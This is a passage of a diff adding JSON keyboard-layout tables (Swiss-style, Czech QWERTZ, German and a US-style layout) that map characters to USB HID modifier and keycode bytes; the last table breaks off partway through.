"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"z":"00,00,1c",
|
||||||
|
"y":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"'":"00,00,2d",
|
||||||
|
"^":"00,00,2e",
|
||||||
|
"$":"00,00,31",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Z":"02,00,1c",
|
||||||
|
"Y":"02,00,1d",
|
||||||
|
"+":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"*":"02,00,20",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"`":"02,00,2e",
|
||||||
|
"!":"02,00,30",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"@":"40,00,1f",
|
||||||
|
"#":"40,00,20",
|
||||||
|
"|":"40,00,24",
|
||||||
|
"~":"40,00,2e",
|
||||||
|
"[":"40,00,2f",
|
||||||
|
"]":"40,00,30",
|
||||||
|
"}":"40,00,31",
|
||||||
|
"{":"40,00,35",
|
||||||
|
"\\":"40,00,64",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,64",
|
||||||
|
"COMMAND-CTRL":"40,00,64",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,64",
|
||||||
|
"__comment":"Everything below was additionally added by kuyaya",
|
||||||
|
"GUI-l":"08,00,0f",
|
||||||
|
"RIGHTSHIFT":"20,00,00",
|
||||||
|
"A":"20,00,04",
|
||||||
|
"B":"20,00,05",
|
||||||
|
"C":"20,00,06",
|
||||||
|
"D":"20,00,07",
|
||||||
|
"E":"20,00,08",
|
||||||
|
"F":"20,00,09",
|
||||||
|
"G":"20,00,0a",
|
||||||
|
"H":"20,00,0b",
|
||||||
|
"I":"20,00,0c",
|
||||||
|
"J":"20,00,0d",
|
||||||
|
"K":"20,00,0e",
|
||||||
|
"L":"20,00,0f",
|
||||||
|
"M":"20,00,10",
|
||||||
|
"N":"20,00,11",
|
||||||
|
"O":"20,00,12",
|
||||||
|
"P":"20,00,13",
|
||||||
|
"Q":"20,00,14",
|
||||||
|
"R":"20,00,15",
|
||||||
|
"S":"20,00,16",
|
||||||
|
"T":"20,00,17",
|
||||||
|
"U":"20,00,18",
|
||||||
|
"V":"20,00,19",
|
||||||
|
"W":"20,00,1a",
|
||||||
|
"X":"20,00,1b",
|
||||||
|
"Z":"20,00,1c",
|
||||||
|
"Y":"20,00,1d",
|
||||||
|
"+":"20,00,1e",
|
||||||
|
"\"":"20,00,1f",
|
||||||
|
"*":"20,00,20",
|
||||||
|
"%":"20,00,22",
|
||||||
|
"&":"20,00,23",
|
||||||
|
"/":"20,00,24",
|
||||||
|
"(":"20,00,25",
|
||||||
|
")":"20,00,26",
|
||||||
|
"=":"20,00,27",
|
||||||
|
"?":"20,00,2d",
|
||||||
|
"`":"20,00,2e",
|
||||||
|
"!":"20,00,30",
|
||||||
|
";":"20,00,36",
|
||||||
|
":":"20,00,37",
|
||||||
|
"_":"20,00,38",
|
||||||
|
">":"20,00,64",
|
||||||
|
"°":"02,00,35",
|
||||||
|
"°":"20,00,35",
|
||||||
|
"§":"00,00,35",
|
||||||
|
"ç":"02,00,21",
|
||||||
|
"ç":"20,00,21",
|
||||||
|
"¬":"40,00,23",
|
||||||
|
"¦":"40,00,1e",
|
||||||
|
"¢":"40,00,25",
|
||||||
|
"´":"40,00,2d",
|
||||||
|
"BACKSPACE":"00,00,2a",
|
||||||
|
"SHIFT-BACKSPACE":"02,00,2a",
|
||||||
|
"SHIFT-BACKSPACE":"20,00,2a",
|
||||||
|
"€":"40,00,08",
|
||||||
|
"è":"02,00,2f",
|
||||||
|
"è":"20,00,2f",
|
||||||
|
"ü":"00,00,2f",
|
||||||
|
"¨":"00,00,30",
|
||||||
|
"é":"02,00,33",
|
||||||
|
"é":"20,00,33",
|
||||||
|
"ö":"00,00,33",
|
||||||
|
"ä":"00,00,34",
|
||||||
|
"à":"02,00,34",
|
||||||
|
"à":"20,00,34",
|
||||||
|
"£":"02,00,32",
|
||||||
|
"£":"20,00,32",
|
||||||
|
"ALT-GR":"40,00,00",
|
||||||
|
"RIGHTCONTROL":"10,00,00",
|
||||||
|
"NUMLOCK":"00,00,53",
|
||||||
|
"+":"00,00,57",
|
||||||
|
"-":"00,00,56",
|
||||||
|
"*":"00,00,55",
|
||||||
|
"/":"00,00,54",
|
||||||
|
"ENTER":"00,00,58",
|
||||||
|
"DEL":"00,00,63",
|
||||||
|
"INSERT":"00,00,62",
|
||||||
|
"END":"00,00,59",
|
||||||
|
"DOWN":"00,00,5a",
|
||||||
|
"PAGEDOWN":"00,00,5b",
|
||||||
|
"LEFT":"00,00,5c",
|
||||||
|
"RIGHT":"00,00,5e",
|
||||||
|
"HOME":"00,00,5f",
|
||||||
|
"UP":"00,00,60",
|
||||||
|
"PAGEUP":"00,00,61",
|
||||||
|
".":"00,00,63",
|
||||||
|
"0":"00,00,62",
|
||||||
|
"1":"00,00,59",
|
||||||
|
"2":"00,00,5a",
|
||||||
|
"3":"00,00,5b",
|
||||||
|
"4":"00,00,5c",
|
||||||
|
"5":"00,00,5d",
|
||||||
|
"6":"00,00,5e",
|
||||||
|
"7":"00,00,5f",
|
||||||
|
"8":"00,00,60",
|
||||||
|
"9":"00,00,61"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":" Czech QWERTZ version made by Andrej Šimko",
|
||||||
|
"__comment":" Note that some special characters use leftCtrl+leftAlt+[key]",
|
||||||
|
"__comment":" Special Czech characters like ěščřžýáíéů are not included",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"z":"00,00,1c",
|
||||||
|
"y":"00,00,1d",
|
||||||
|
"+":"00,00,1e",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"=":"00,00,2d",
|
||||||
|
")":"00,00,30",
|
||||||
|
";":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Z":"02,00,1c",
|
||||||
|
"Y":"02,00,1d",
|
||||||
|
"1":"02,00,1e",
|
||||||
|
"2":"02,00,1f",
|
||||||
|
"3":"02,00,20",
|
||||||
|
"4":"02,00,21",
|
||||||
|
"5":"02,00,22",
|
||||||
|
"6":"02,00,23",
|
||||||
|
"7":"02,00,24",
|
||||||
|
"8":"02,00,25",
|
||||||
|
"9":"02,00,26",
|
||||||
|
"0":"02,00,27",
|
||||||
|
"\\":"05,00,14",
|
||||||
|
"%":"02,00,2d",
|
||||||
|
"/":"02,00,2f",
|
||||||
|
"(":"02,00,30",
|
||||||
|
"'":"02,00,31",
|
||||||
|
"\"":"02,00,33",
|
||||||
|
"!":"02,00,34",
|
||||||
|
"?":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
"|":"05,00,1a",
|
||||||
|
"#":"05,00,1b",
|
||||||
|
"&":"05,00,06",
|
||||||
|
"@":"05,00,19",
|
||||||
|
"$":"05,00,33",
|
||||||
|
"*":"05,00,38",
|
||||||
|
"{":"05,00,05",
|
||||||
|
"}":"05,00,11",
|
||||||
|
"[":"05,00,09",
|
||||||
|
"]":"05,00,0a",
|
||||||
|
"~":"05,00,1e",
|
||||||
|
"^":"05,00,20",
|
||||||
|
"<":"05,00,36",
|
||||||
|
">":"05,00,37",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"COMMAND-CTRL-SHIFT":"12,00,00",
|
||||||
|
"COMMAND-CTRL":"12,00,00",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"12,00,00"
|
||||||
|
}
|
|
@ -0,0 +1,179 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"German umlauts added by Simon Dankelmann",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"z":"00,00,1c",
|
||||||
|
"y":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"+":"00,00,30",
|
||||||
|
"#":"00,00,31",
|
||||||
|
"^":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Z":"02,00,1c",
|
||||||
|
"Y":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"`":"02,00,2e",
|
||||||
|
"*":"02,00,30",
|
||||||
|
"'":"02,00,31",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"@":"40,00,14",
|
||||||
|
"{":"40,00,24",
|
||||||
|
"[":"40,00,25",
|
||||||
|
"]":"40,00,26",
|
||||||
|
"}":"40,00,27",
|
||||||
|
"\\":"40,00,2d",
|
||||||
|
"~":"40,00,30",
|
||||||
|
"|":"40,00,64",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,64",
|
||||||
|
"COMMAND-CTRL":"40,00,64",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,64",
|
||||||
|
"ß":"00,00,2d",
|
||||||
|
"€":"40,00,08",
|
||||||
|
"§":"02,00,20",
|
||||||
|
"ä":"00,00,34",
|
||||||
|
"ö":"00,00,33",
|
||||||
|
"ü":"00,00,2f",
|
||||||
|
"Ä":"02,00,34",
|
||||||
|
"Ö":"02,00,33",
|
||||||
|
"Ü":"02,00,2f"
|
||||||
|
}
|
|
@ -0,0 +1,168 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"+":"00,00,2d",
|
||||||
|
"'":"00,00,31",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
